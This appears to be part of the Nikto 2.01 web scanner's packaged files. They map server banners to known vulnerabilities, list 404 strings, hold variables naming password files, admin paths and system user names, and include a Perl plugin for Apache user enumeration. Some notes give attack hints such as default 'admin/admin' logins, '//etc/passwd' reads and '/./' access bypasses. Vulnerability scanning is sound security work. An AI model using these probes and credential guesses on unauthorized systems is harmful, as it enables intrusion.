http://www.badblue.com/" "bkhttp\/0.3","BitKeeper may allow anyone to execute arbitrary commands on the remote system. See http://www.securiteam.com/securitynews/5TP0D0K8UQ.html." "Blazix\/1\.2\.1","Can view JSP source by appending a + to the end of the request." "boa","http://www.boa.org/" "boulevard","http://www.resnova.com/boulevard" "Brickserver Modifications","May be vulnerable to %2f type directory listing vulnerabilities if the directory contains an index.shtml but not index.html file." "capneld","This is a web hosting manager. It should not be running unless required, as it allows web server administration." "cern","http://www.w3.org/hypertext/WWW/Daemon" "ChaiServer","HP printer." "Cherokee\/0\.2\.7","This version of Cherokee allows arbitrary files to be retreived remotely. See http://www.securitytracker.com/alerts/2001/Dec/1003074.html" "cisco ios","Cisco Catalyst Switch" "cisco-CPA","Most likely a router/switch web management port" "cl-http","http://www.ai.mit.edu/projects/iiip/doc/cl-http/home-page.html" "Cobalt","Cobalt RaQ system" "commerce-builder","http://www.ifact.com/" "CompaqHTTPServer","Has had a few remote DoS issues. Can also give a lot of system information, especially if anonymous access enabled." "cosmos","http://www.ris.fr/" "DeleGate\/","www.globalintersec.com has found multiple vulnerabilities in the DeleGate proxies and recommends using Squid or another proxy device as the author(s) have not fixed previous versions." "DeleGate\/7\.7\.[0-1]","DeleGate 7.7.1 & 7.7.0 are vulnerable to CSS." "dwhttpd","Probably Sun Microsystem's AnswerBook server. v3.1a4, 4.0.2a7a and 4.1a6 have problems." "dwhttpd\/4\.(0\.2a7a|1a6)","May allow unauthorized users to add administrators or view logs remotely." "Embedded HTTP Server","Likely this is a D-Link SoHo router." "emwac","http://emwac.ed.ac.uk/" "enterpriseweb","http://www.beyond-software.com/products/eweb/eweb.html" "Eserv\/2\.97","Server allows pass protected directories to be retrieved by prepending '/./' to it, ie http://server/./protected/, or directory listings by appending ?" "Essentia\/2\.1","Essentia 2.1 is vulnerable to directory traversal problems with /../ type requests, along with a DoS on long (2000 chars) requests." "Ews/","Probably a printer." "falcon","May allow ../../ file system browsing" "fnord","Win 32 platform" "Folkweb","Win 32 platform" "frontier","http://www.frontiertech.com/products/superweb.htm" "frontpage","http://www.insecure.org/sploits/Microsoft.frontpage.insecurities.html" "ghttpd\/1\.[0-4]","The Ghttpd server may contain a remote buffer overflow. Upgrade to the latest version." "glaci","Netware web server" "GoAhead-Webs","This may be a Cyclade, http://www.cyclades.com/" "GoAhead-Webs\/2\.(0.*|1)","GoAhead-Webs 2.1 and below is vulnerable to command execution through a buffer overflow. See http://www.securiteam.com for details." "Gordian Embedded","Lantronix device, may give system/networking information freely. Could be an access badge reader/card swipe." "goserve","http://www2.hursley.ibm.com/goserve" "gosite","http://www.gosite.com/" "GWS\/","Could be the Google Web Server. 2.0 seems to be current." "hellbent java webserver v0.1","This version of the server is vulnerable to a path disclosure bug and can allow attackers to view .prefs files under certain circumstances. Upgrade to 0.11 or higher. See http://www.securityfocus.com/archive/82/73778" "homedoor","http://www.opendoor.com/" "HP-Web-Server","HP Printer" "hyperwave","http://www.hyperwave.com/" "i\/net","http://www.inetmi.com/" "ibm internet connection server","http://www.ics.raleigh.ibm.com" "IBM-HTTP-Server\/1\.0","This IBM web server allows file source to be viewed by adding a '/' to the URI, like http://server/index.jsp/" "icecast/1\.3\.(7|8.*beta[0-2])","This version of Icecast may allow an attacker to execute commands on the server with a format string attack." "iis\/4","May be able to bypass security settings using 8.3 file names. ESB-98.015." "Intrusion\/","The server may be running Tripwire for web pages. This can allow attackers to gain sensitive information about the web setup." "Ipswitch-IMail\/7\.11","May be vulnerable to a remote command execution overflow, see http://online.securityfocus.com/archive/1/284465" "Jaguar Server","Probably a Sybase web interface" "jakarta-tomcat-4.0.1","Server will reveal path" "JavaWebServer","Probably Sun Microsystem's servlet interface. May have defualt code which is exploitable. Try admin/admin for id/password." "JetAdmin","HP Printer" "Jeus WebContainer\/([0-3]\.[0-2]\..*)","JEUS below 3.2.2 is vulnerable to XSS if a nonexistent url is requested, i.e. [victim site]/[javascript].jsp" "Jigsaw\/([0-1].*|2\.([0-1].*|2\.0))","Jigsaw 2.1.0 or below may be vulnerable to XSS if a nonexistent host name is requested, i.e. nosuchhost.domain.com/<script>..." "Jigsaw\/2\.2\.1","Jigsaw 2.1.1 on Windows may be tricked into revealing the system path by requesting /aux two times." "JRun\/([0-3]\..*|4\.0)","JRun 4.0 and below on IIS is vulnerable to remote buffer overflow with a filename over 4096. http://www.macromedia.com/v1/handlers/index.cfm?ID=23500 and http://www.eeye.com/html/Research/Advisories/index.html" "JRun\/3\.1","JRun 3.1 on Windows NT/2000 is vulnerable to remote buffer overflow in the Host header field that can allow attackers to exploit the system." "KazaaClient","Kazaa may allow sensitve information to be retrieved, http://www.securiteam.com/securitynews/5UP0L2K55W.html" "LabVIEW\/(5\.[1-9]|6\.[0-1])","LabVIEW 5.1.1 to 6.1 is vulnerable to a remote DoS by sending a malformed GET request. This DoS was not attempted." "Lasso\/3\.6\.5","This version of Blueworld WebData engine is vulnerable to DoS by sending a 1600 character long GET request." "LilHTTP\/2\.1","LilHTTP server 2.1 allows password protected resources to be retrieved by prepending '/./' to the url." "LocalWeb2000\/([0-1]\.*|2\.(0\.*|1\.0))","LocalWeb2000 2.1.0 and below allow protected files to be retrieved by prepending the request with /./" "Lotus-Domino\/([0-3].*|4\.([0-1].*|2\.([0-1].*|3)))","This version of Lotus-Domino server has had multiple vulnerabilities. See the bugtraq archives for details." "Lotus-Domino\/4\.[5-6]","This version of Lotus-Domino server is vulnerable to a DoS via the WEb Retriever. CAN-2003-0123." "Lotus-Domino\/5","This version of Lotus-Domino server is vulnerable to a DoS via the WEb Retriever. CAN-2003-0123." "Lotus-Domino\/5\.0\.9","This version of Lotus-Domino server is vulnerable to a DoS via requesting DOS devices" "Lotus-Domino\/6b.*","This version of Lotus-Domino server is vulnerable to a DoS via the WEb Retriever. CAN-2003-0123." "Lotus-Domino\/Release-([0-3].*|4\.([0-1].*|2\.([0-1].*|3)))","This version of Lotus-Domino server has had multiple vulnerabilities. See the bugtraq archives for details." "Lotus-Domino\/Release-4\.[5-6]","This version of Lotus-Domino server is vulnerable to a DoS via the WEb Retriever. CAN-2003-0123." "Lotus-Domino\/Release-5","This version of Lotus-Domino server is vulnerable to a DoS via the WEb Retriever. CAN-2003-0123." "Lotus-Domino\/Release-5\.0\.9","This version of Lotus-Domino server is vulnerable to a DoS via requesting DOS devices" "Lotus-Domino\/Release-6b*","This version of Lotus-Domino server is vulnerable to a DoS via the WEb Retriever. CAN-2003-0123." "machttp","http://www.starnine.com/machttp may let you download log files" "mathopd","http://mathop.diva.nl/" "MegaTime Chart Server","Server returns a .png file for all requests, all results should be validated as false-positives are likely." "micro-http/","Probably a printer (Tektronix?)." "MiniServ","This is the Webmin Unix administrator. It should not be running unless required." "mod_auth_mysql\/((0\..*)|(1\.[0-9]$))","This version allows an SQL insertion attack that could allow attackers to execute arbitrary SQL commands." "mod_auth_oracle\/0\.(([0-4].*)|(5\.[0-1].*))","This version allows an SQL insertion attack that could allow attackers to execute arbitrary SQL commands." "mod_auth_pgsql_sys\/0\.(([0-8]\..*)|(9\.[0-4].*))","This version allows an SQL insertion attack that could allow attackers to execute arbitrary SQL commands." "mod_auth_pgsql\/0\.(([0-8]\..*)|(9\.[0-5].*))","This version allows an SQL insertion attack that could allow attackers to execute arbitrary SQL commands." "mod_python\/(1.*|2\.([0-6]\..*|7\.[0-6]))","mod_python 2.7.6 or older may allow attackers to execute functions remotely." "mod_security\/1\.7([0-1]|RC.*)","mod_security 1.7RC1 to 1.7.1 are vulnerable to a buffer overflow, see http://adsystems.com.pl/adg-mod_security171.txt for details. Upgrade to 1.7.2 or higher." "mod_ssl\/(1.*|2\.([0-7].*|8\.[0-6]))","mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell (difficult to exploit). CAN-2002-0082." "mod_survey\/[0-3]\.0\.((9|1[0-3])|(14[a-d])|(15\-pre[0-5]))","mod_survey is vulnerable to a remote buffer overflow. It should be upgraded to the latest version." "mofet simple","Mofet Simple HTTP Server, often an embedded device like a Nortel MIPCD" "Monkey\/0\.([0-5].*|6\.[0-2]{1})","Monkey server is vulnerable to a remote buffer overflow, it should be upgraded at http://monkeyd.sourceforge.net/get_monkey.php?ver=4" "MS-MFC-HttpSvr/1.0","Server and Surfcontrol software has many remote vulnerabilities: CAN-2002-0705, CAN-2002-0706, CAN-2002-0707, CAN-2002-0708, CAN-2002-0709" "myCIO","The McAfee myCIO server provides antivirus updates to clients. This server has had multiple vulnerabilities in the past." "Mylo/0\.([0-1]|2\.[0-1])","mod_mylo may be vulnerable to a remote buffer overflow. Upgrade to the latest version. BID-8287." "MyServer 0\.([0-3]\..*|4\.[0-2])","MyServer versions lower than 0.5 contain multiple remote vulnerabilities." "MyWebServer\/(0\.*|1\.0[0-2])","MyWebServer versions 1.02 and below are vulnerable to a DoS by requesting a url of approximately 1000 characters." "ncsa","lower than v1.3 have multiple issues" "neowebscript","Apache plugin to allow TCL use" "netcloak","http://www.maxum.com plugin for webstar" "netpresenz","http://www.stairways.com/netpresenz" "NetWare","Novell Netware server. For recent security alerts please see http://support.novell.com/security-alerts/. For general security information read http://www.cis.ohio-state.edu/hypertext/faq/usenet/netware/security/faq.html (probably out of date)" "nsl","http://www.nsl.net/" "NULLhttpd\/0\.5\.1","NULLhttpd may allow a system DoS if a client says it will send an amount of data, then sends one byte less. This will cause the server to hold that data in memory and wait for the last byte." "OmniHTTPd","See http://www.omnicron.ab.ca/httpd/" "OmniHTTPd\/2\.0\.8","This version contains a source disclosure vulnerability (append %20 to request). Upgrade to the latest." "OmniHTTPd\/2\.0\.9","This version contains a remote denial of service if more than 4096 characters are used as the HTTP version in a request. Upgrade to the latest." "open-market-secure-webserver","http://www.openmarket.com/products/secureweb.html" "open-market-webserver","http://www.openmarket.com/products/webserver.html" "Oracle Applications One-Hour Install","The Oracle Applications One-Hour Install allows remote users to administer the database. It should not be used unless absolutely required." "Oracle_Web_Listener","The Oracle Web Listener allows remote users to administer the database. It should not be used unless absolutely required." "os2httpd","http://ftp.netcom.com/pub/kf/kfan/overview.html" "osu","http://kcgl1.eng.ohio-state.edu/www/doc/serverinfo.html" "PHP\/([0-3].*|4\.[0-2].*|4\.3\.[0-2])","PHP below 4.3.3 may allow local attackers to safe mode and gain access to unauthorized files. BID-8201." "PHP\/[0-3]\.","Old versions of PHP contain multiple buffer overflows and remote exploit problems. Server should be upgraded to the latest version." "PHP\/4\.0\.([2-5])","PHP 4.1.1 is vulnerable to remote exploits and must be upgraded." "PHP\/4\.0\.(1|3pl1)","PHP 4.0.1 or 4.0.3pl is vulnerable to remote exploits and should be upgraded. See http://archives.neohapsis.com/archives/vulnwatch/2002-q1/0054.html" "PHP\/4\.0\.(6|7)(RC2)?","PHP 4.06 to 4.07RC3 are vulnerable to remote exploits and must be upgraded." "PHP\/4\.0\.[0-3]","This version of PHP contains a buffer overflow in the IMAP module. Upgrade to the latest version." "PHP\/4\.0\.5","This version of PHP allows attackers to override safe mode and obtain the HTTP uid" "PHP\/4\.1\.1","PHP 4.1.1 is vulnerable to remote exploits and must be upgraded." "PHP\/4\.2\.[0-1]","PHP 4.2.0 and 4.2.1 are vulnerable to local and remote DoS attacks to both PHP and to the web server. Some platforms have remove command execution problems as well." "PHP\/4\.2\.0","PHP 4.2.0 is vulnerable to exploit via invalid checking of posix_getpwuid and posix_getpwnam. See http://www.securiteam.com for details." "phttpd","http://www.signum.se/phttpd" "PI\/7\.[0-4]","InfronTech WebTide 7.0 to 7.4 allow directory listings by sending a request like '%3f.jsp'." "Pi3Web\/2\.0","Server may crash after sending very long cgi parameters a few times. See http://www.securityoffice.net/" "plexus","http://www.bsdi.com/server/doc/plexus.html" "powerweb","http://www.compusource.co.za/powerweb" "process","http://www.process.com/" "PWS","Personal Web Server. requesting /....../ might give root drive list." "pws\/4","May be able to bypass security settings using 8.3 file names. ESB-98.015." "RapidLogic","Embedded device" "Resin\/1","Resin web server may allow attackers to read any file on the server by requesting files like '\..\..\file.txt'." "Resin\/2\.1\.1","Resin 2.1.1 is vulnerable to a remote denial of service by defining large variables when requesting non-existent resources." "roxen","http://www.roxen.com/" "rushhour","http://www.maxum.com/RushHour" "sambar\/(5\.|6\.(0|1|2[^.]))","This version of Sambar is vulnerable to XSS attacks, http://secunia.com/advisories/15465/" "sambar\/(5\.|6\.0[^0-9])","This version of Sambar contains multiples flaws, http://secunia.com/advisories/9578/" "sambar\/5\.1","http://www.sambar.com/ version 5.1 is vulnerable to source viewing by adding a +%00 to cgi requests." "Savant","Versions of Savant older than 3.0 can be crashed by requesting 'GET /%%% HTTP/1.0'" "Savant\/3\.0","Savant 3.0 (Windows) is vulnerable to a remote DoS by sending very long CGI parameters multiple times. Upgrade to a version higher than 3.0." "Savant\/3\.1","Savant 3.1 (Windows) is vulnerable to a DoS by sending a GET request containing a URL of approx. 291 characters or more." "ScriptEase\/0\.95","ScriptEase v0.95 is vulnerable to a DoS if a 2000 character file is requested. See http://securityoffice.net/ for more info." "serverseven","Win 32 platform (pascal)" "SetiQueue\/","This is a SETI@Home work-unit queue server, proxy, and web server, http://www.reneris.com/seti/default.asp." "Simple, Secure Web Server 1.1","Probably a Raptor firewall (which may answer to protect the web server from an invalid request)." "SimpleWebserver\/2\.([0-9]|1\.[0-2])","TelCondex SimpleWebserver 2.12.30210 Build 3285 is vulnerable to a buffer overflow if 704 bytes are sent in the referrer header. Upgrade to 2.13 or higher." "SimpleWebserver\/SimpleWebserver\/([0-1].*|2\.(0.*|[0-9]{1}\..*|(10|11|12)\..*|13\.[0-2].*|13\.310([0-1].*|2[0-7])))","TelCondex Simpleserver 2.13.31027 Build 3289 and below allow directory traversal with '/.../' entries." "SiteScope Administrator","The SiteScope Administrator allows SiteScope configuration if not password protected or if a valid account can be found." "Specialix JETSTREAM","Probably a printer." "spinnaker","http://www.telegrafix.com/" "spry","http://wsk.eit.com/" "Squid\/2\.[0-4]","The Squid proxy may be vulnerable to an FTP buffer overflow." "Squid\/2\.[3-4]\..*(STABLE[1-4]|DEVEL(2|4))","The Squid server may be vulnerable to a PUT request DoS. Also may have SNMP/FTP/HTCP vuls if running." "Statistics Server","Statistics Server versions lower than 5.03 are vulnerable to a remote command execution flaw." "Storage","Try to login with 'admin' or 'monitor'" "StorageTek","Try to login with 'admin' or 'monitor'" "Stronghold","May be a Big IP (load balancer) admin interface." "Sun_WebServer","Solaris Management Console (SMC)" "Teamtrack","May allow ../../../ directory listing. See www.wiretrip.net for RFP9904" "telefinder","http://bbs.spiderisland.com/" "thttpd","www.acme.com/software/thttpd. Below v2.03 lets reading of system files by adding // like //etc/passwd. 2.04 has a buffer overflow in 'If-Modified-Since' header." "thttpd/2.20b","Server is vulnerable to cross site scripting in error messages." "tivo-httpd","Tivo server allows Tivo DVRS and comps to download video from the Tivo to a desktop. User ID is 'tivo' and pass is the Media Access Key (MAK)" "Tivo","TiVo Calypso Server allows TiVo DVRs to talk to computers to download music and video via an HTTP web server on port 8101." "tme_10_netview_vs","Tivoli web manager" "Ultraseek","The Ultraseek server has had multiple buffer overflows and cross site scripting vuls. Make sure the latest version is being run." "viking","http://www.robtex.com/viking/" "VisualRoute","VisualRoute web servers allow remote users to perform traceroutes to third parties while remaining anonymous. This should not be run without proper protection." "vm\:webserver","http://www.vm.sterling.com/" "vqserver","version 1.9.9 and below have remote file read vulnerability, http://www.vqsoft.com/" "w4","http://130.89.224.16/" "web commander","http://www.luckman.com/wc/webcom.html" "web server 4d","http://www.mdg.com/" "Web_Server_4D\/3\.5\.3","Vulnerable to a DoS and a directory traversal problem. See http://www.securityoffice.net/" "Web4All\/1\.2\.8","Web Server 4 Everyone may be vulnerable to a remote DoS if 2000 characters are requested." "Web4Everyone\/1\.2\.8","Web Server 4 Everyone may be vulnerable to a remote DoS if 2000 characters are requested." "webdisk","http://www.ararat.com/" "webforone","http://www.resnova.com/webforone" "WebLogic.*6\.0.*(SP(1.*|2 [^R].*))","Weblogic may be vulnerable to multiple remote problems. See http://www.s21sec.com/en/avisos/s21sec-011-en.txt and http://dev2dev.bea.com/resourcelibrary/advisoriesnotifications/BEA03-28.jsp." "WebLogic.*6\.1.*(SP([1-3].*|[^4-9].*))","Weblogic may be vulnerable to multiple remote problems. See http://www.s21sec.com/en/avisos/s21sec-011-en.txt and http://dev2dev.bea.com/resourcelibrary/advisoriesnotifications/BEA03-28.jsp." "WebLogic.*7\.0.(\.0\.1)?.*(SP[^2-9])?","Weblogic may be vulnerable to multiple remote problems. See http://www.s21sec.com/en/avisos/s21sec-011-en.txt and http://dev2dev.bea.com/resourcelibrary/advisoriesnotifications/BEA03-28.jsp." "Weblogic\/6\.1","WebLogic 6.1 SP2 for Win2k may have multiple problems. See http://dev2dev.bea.com/resourcelibrary/advisoriesdetail.jsp?highlight=advisoriesnotifications&path=components/dev2dev/resourcelibrary/advisoriesnotifications/securityadvisoriesbea020303.htm for details." "webquest","http://www.questar.com/" "webshare","http://www.beyond-software.com/products/eweb/webshare/webshare.html" "websitepro","http://website.ora.com/" "WebSitePro\/2\.[0-4]","Versions of WebSitePro lower than 2.5 have multiple buffer overflows. Upgrade to 2.5 or higher. CAN-2000-0623." "WebSitePro\/3\.1\.11\.0","WebSitePro 3.1.11.0 can disclose source code by requesting the 8.3 file name instead of the full file name." "Websphere\/4\.0\.3","This server may have a DoS if large HTTP headers are received. Install PQ62144, http://www-1.ibm.com/support/docview.wss?rs=180&context=SSEQTP&q=PQ62144&uid=swg24001610" "webstar","http://www.starnine.com/webstar may let you download log files" "WebZerver","May be DiscZerver" "whostmgr","This is a web host and system manager. It should not be running unless required, as it allows system/server administration." "wildcat","http://www.santronics.com/" "Worldgroup\/3\.20","WoldGroup 3.20 is vulnerable to a remote root exploit, it should be upgraded." "Xedia","Lucent access points may be vulnerable to a DoS if 4000 characters are requested. See http://www.phenoelit.de/stuff/Lucent_Xedia.txt for info." "Xeneo\/(2\.\1\.[0-9]|[0-1]\..*)","May be able to DoS the server by requesting '%A', see http://www.secunia.com/secunia_security_advisories/ ." "Xeneo\/(2\.\1\.0\.0|2\.0\.759\.6)","May be able to DoS the server by requesting '%', see http://www.idefense.com/advisory/11.04.02b.txt ." "xerox","Probably a printer." "xitami","Open Source Windows server may be vulnerable to a buffer overflow. Check for the latest version from Xitami.com." "xitami\/(2.[0-4]*|1\.*)","This version of Xitami from http://www.imatix.com/html/xitami/ may disclose script source if any error occurs. Upgrade to a newer version." "zbserver\/","May be vulnerale to a DoS (version 'Pro 1.50-r13'), see http://www.securityoffice.net/. http://www.zbserver.com/" "zeus","http://www.zeus.co.uk/ see RFP9905 (wiretrip.net) for more info" "Zeus\/3\.1","Bug allows source of CGI to be viewed. Upgrade to 3.3.5a or higher" "Zeus\/3\.2","Bug allows source of CGI to be viewed. Upgrade to 3.3.5a or higher" "Zeus\/3\.3","Bug allows source of CGI to be viewed. Upgrade to 3.3.5a or higher" "Zope\/((0|1).*|2\.((0\..*)|(1\..*)|(2\..*)|(3\.[0-2])))","Zope servers below 2.3.3 contain multiple remote configuration problems and vulnerabilities. Upgrade to the latest version." "ZyXEL-RomPager","Probably a Netgear SoHo Router (RT-314 or similar), most likely vulnerable to CSS." "Netscape-Enerprise\/4.","Netscape-Enterprise 4.x was made End of Life by Sun in December 2002. http://www.sun.com/software/products/web_srvr/lifecycle.xml" ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������nikto-2.01/plugins/db_404_strings�������������������������������������������������������������������0000664�0000764�0000764�00000003055�10715340347�016010� 0����������������������������������������������������������������������������������������������������ustar �sullo���������������������������sullo������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#VERSION,2.000 #LASTMOD,11.10.2007 # http://www.cirt.net # This file may only be distributed and used with the full Nikto package. # This file may not be used with any software product without written permission from CIRT, Inc. # (c) 2007 CIRT, Inc., All Rights Reserved. # By sending any database updates to CIRT, Inc., it is assumed that you # grant CIRT, Inc., the unlimited, non-exclusive right to reuse, modify and relicense the changes. ####################################################################### # Strings to be used for 404 content match, if HTTP code is not 404 # one per line # many of these were borrowed from the Nessus Project's no_404.nasl, many thanks. 404 Access Failed an error Bad Request Client Authentication Remote Service could not find error has occurred Error 404 Error Occurred While Processing Request Error processing SSI file ExtendNet DX Configuration FireWall-1 message forcelogon.htm HP Web JetAdmin IMail Server Web Messaging Management Console name=qt id="search" size=40 value=" " No web site is configured at this address not found parameter is incorrect # IIS 5.0 500 error PHP Fatal error: Unable to open Please identify yourself: Reload acp_userinfo database RSA SecurID User Name Request The userid or password that was specified is not valid. # Tivoli server administrator TYPE=password # As in "<input type=password>" Unable to complete your request due to added security features unable to open Web access denied Webmin server Hack Attempts �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������nikto-2.01/plugins/db_variables���������������������������������������������������������������������0000664�0000764�0000764�00000003357�10715340347�015705� 0����������������������������������������������������������������������������������������������������ustar �sullo���������������������������sullo������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#VERSION,2.000 #LASTMOD,11.10.2007 # http://www.cirt.net # This file may only be distributed and used with the full Nikto package. # This file may not be used with any software product without written permission from CIRT, Inc. # (c) 2007 CIRT, Inc., All Rights Reserved. # By sending any database updates to CIRT, Inc., it is assumed that you # grant CIRT, Inc., the unlimited, non-exclusive right to reuse, modify and relicense the changes. ####################################################################### # Variables which will be used as replacements for values in # the scan_database.db and user_scan_database.db files. # Any values to be replaced must start with the @ character, such as: @CGIDIRS. # # User defined variables should be set in config.txt as this file may be # over-written during updates. # # If you have additions, please send to sullo@cirt.net @CGIDIRS=/cgi.cgi/ /webcgi/ /cgi-914/ /cgi-915/ /bin/ /cgi/ /mpcgi/ /cgi-bin/ /ows-bin/ /cgi-sys/ /cgi-local/ /htbin/ /cgibin/ /cgis/ /scripts/ /cgi-win/ /fcgi-bin/ /cgi-exe/ /cgi-home/ /cgi-perl/ @NUKE=/ /postnuke/ /postnuke/html/ /modules/ /phpBB/ /forum/ @MUTATEDIRS=/....../ /members/ /porn/ /restricted/ /xxx/ @MUTATEFILES=xxx.htm xxx.html porn.htm porn.html @ADMIN=/admin/ /adm/ /administrator/ @USERS=adm bin daemon ftp guest listen lp mysql noaccess nobody nobody4 nuucp operator root smmsp smtp sshd sys test unknown uucp web www @PASSWORDDIRS=/ /admin/ /clients/ /pass/ /password/ /passwords/ /store/ /users/ /access/ /members/ /private/ /ccbill/ /dmr/ /mastergate/ /dmr/ /epoch/ /netbilling/ /webcash/ /wwwjoin/ /etc/security/ @PASSWORDFILES=admins clients pass password passwords passwd passwd.adjunct store users .htpasswd .passwd @PHPMYADMIN=/ /3rdparty/phpMyAdmin/ /phpMyAdmin/ ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������nikto-2.01/plugins/nikto_apacheusers.plugin���������������������������������������������������������0000664�0000764�0000764�00000003333�10715337745�020276� 0����������������������������������������������������������������������������������������������������ustar �sullo���������������������������sullo������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#VERSION,2.00 #LASTMOD,11.10.2007 ############################################################################### # Copyright (C) 2004 CIRT, Inc. # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; version 2 # of the License only. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. ############################################################################### ############################################################################### # PURPOSE # Apache user enumeration ############################################################################### sub nikto_apacheusers { (my $RES, $CONTENT) = fetch("/~root", "GET"); $CONTENT = char_escape($CONTENT); if ($CONTENT =~ /forbidden/i) # good on "root" { (my $RES, $CONTENT) = fetch("/~" . LW2::utils_randstr(8), "GET"); $CONTENT = char_escape($CONTENT); if ($CONTENT !~ /forbidden/i) # Good, it gave an error instead of forbidden { $TARGETS{$CURRENT_HOST_ID}{total_vulns}++; nprint("+ OSVDB-637: GET /~root - Enumeration of users is possible by requesting ~username (responds with Forbidden for real users, not found for non-existent users).", "", ""); } } } 1; �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������nikto-2.01/plugins/db_outdated����������������������������������������������������������������������0000664�0000764�0000764�00000250331�10727513221�015536� 0����������������������������������������������������������������������������������������������������ustar �sullo���������������������������sullo������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#VERSION,2.001 #LASTMOD,12.11.2007 # This file may only be distributed and used with the full Nikto package. # This file may not be used with any software product without written permission from CIRT, Inc. # (c) 2007 CIRT, Inc., All Rights Reserved. # By sending any database updates to CIRT, Inc., it is assumed that you # grant CIRT, Inc., the unlimited, non-exclusive right to reuse, modify and relicense the changes. "NetApp/","7.1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ipMonitor ","8.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Adaptec ASM ","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Adtran Embedded HTTP Server ","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "System Management Homepage/","2.1.6.156","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "(www.ebdesk.com)/","1.3.20","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "0W/","0.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "3Com/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "3Com/v","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "4D_WebStar_D/","7.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "4D_WebSTAR_S/","5.4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "4n4l0g4l1f3/","31337","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "a-p-a-c-h-e/","1-3-26","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ABWS/","537","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Abyss/","2.4.0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "AbyssLib/","1.0.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Academy/","5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "accela/","1.92","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Accipiter-DirectServer/","6.0.0.36","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ACI-4D/","6.57","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Acme.Serve/","v1.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ActiveAgent/","3.51","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ActiveLinks/","0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ActuateHttpService/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ADSM_HTTP/","0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "AdSubtract","2.54","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "adtag/","1.0a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "aEGiS_nanoweb/","2.2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "AG/","1.3.27","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "AGAVA.Banners/","1.10","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Agent-ListenServer-HttpSvr/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Agranat-EmWeb/","R5_2_6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Agranat/","Agranat-EmWeb/R5_2_6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Alchemy Eye/","Alchemy Eye/3.0.10","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "AlkalineSearchEngine/","1.","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Allegro-Software-RomPager/","4.20","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "AllegroServe/","1.2.24","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "AMOS-HTTPD/","1.5A127","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "AMOS/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Analogx","1.0.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Anonymous/","1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "anses/","1.16","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "AnWeb/","1.42p","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "AOLserver/ ","4.0.10","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Apache Coyote/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Apache Tomcat/","Apache Tomcat/4.1.36","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Apache-ADTI/","1.3.28","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Apache-AdvancedExtranetServer/","2.0.53","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Apache-Coyote/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" 